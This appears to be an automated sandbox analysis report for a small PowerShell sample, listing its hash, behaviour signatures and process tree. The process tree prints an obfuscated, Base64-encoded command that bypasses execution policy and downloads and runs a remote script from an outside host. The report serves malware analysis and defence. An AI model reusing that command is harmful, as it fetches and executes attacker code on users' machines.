Analysis
- user interaction
yes - max time kernel
134s - max time network
114s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
09/08/2026, 23:13
General
- Target DONOTOPEN.ps1
- Size 222B
- Sample260809-27slnsch66
- SHA256 55402c1933d5f94e474410f376435515f8cd90c6d07ec04d5580827a281b3cd6
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious behavior: EnumeratesProcesses 4 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exepowershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\DONOTOPEN.ps11⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" start powershell "-E LgAoACgAWwBzAHQAcgBpAG4AZwBdACQAZQBuAHYAOgBBAFAAUAA/AD8APwA/ACkAWwAtADMAXQArACcAZQB4ACcAKQAoAGkAcgBtACAAZwBmADUAMwAuAHAAYQBnAGUAcwAuAGQAZQB2AC8AZwAyAC4AdAB4AHQAKQA="2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_k4e502pt.ylw.ps1
memory/1968-18-0x000002E8E3070000-0x000002E8E307A000-memory.dmp
memory/1968-14-0x000002E8E3080000-0x000002E8E309E000-memory.dmp
memory/1968-5-0x00007FFB0B2A0000-0x00007FFB0BC44000-memory.dmp
memory/1968-6-0x00007FFB0B2A0000-0x00007FFB0BC44000-memory.dmp
memory/1968-9-0x00007FFB0B2A0000-0x00007FFB0BC44000-memory.dmp
memory/1968-10-0x00007FFB0B2A0000-0x00007FFB0BC44000-memory.dmp
memory/1968-0-0x00007FFB0B42F000-0x00007FFB0B430000-memory.dmp
memory/1968-3-0x000002E8CAC70000-0x000002E8CAC92000-memory.dmp
memory/1968-15-0x000002E8E30A0000-0x000002E8E3152000-memory.dmp
memory/1968-16-0x00007FFB0B2A0000-0x00007FFB0BC44000-memory.dmp
memory/1968-4-0x00007FFB0B2A0000-0x00007FFB0BC44000-memory.dmp
memory/1968-17-0x00007FFB0B2A0000-0x00007FFB0BC44000-memory.dmp
memory/1968-24-0x000002E8E3510000-0x000002E8E351A000-memory.dmp
memory/1968-20-0x000002E8E3160000-0x000002E8E316A000-memory.dmp
memory/1968-21-0x000002E8E3520000-0x000002E8E353C000-memory.dmp
memory/1968-22-0x000002E8E3170000-0x000002E8E3178000-memory.dmp
memory/1968-19-0x000002E8E3180000-0x000002E8E319E000-memory.dmp
memory/1968-23-0x000002E8E3500000-0x000002E8E3506000-memory.dmp
memory/1968-25-0x00007FFB0B2A0000-0x00007FFB0BC44000-memory.dmp
memory/1968-26-0x00007FFB0B2A0000-0x00007FFB0BC44000-memory.dmp
memory/1968-27-0x00007FFB0B2A0000-0x00007FFB0BC44000-memory.dmp
memory/1968-28-0x00007FFB0B2A0000-0x00007FFB0BC44000-memory.dmp
memory/1968-29-0x00007FFB0B2A0000-0x00007FFB0BC44000-memory.dmp
memory/1968-31-0x00007FFB0B2A0000-0x00007FFB0BC44000-memory.dmp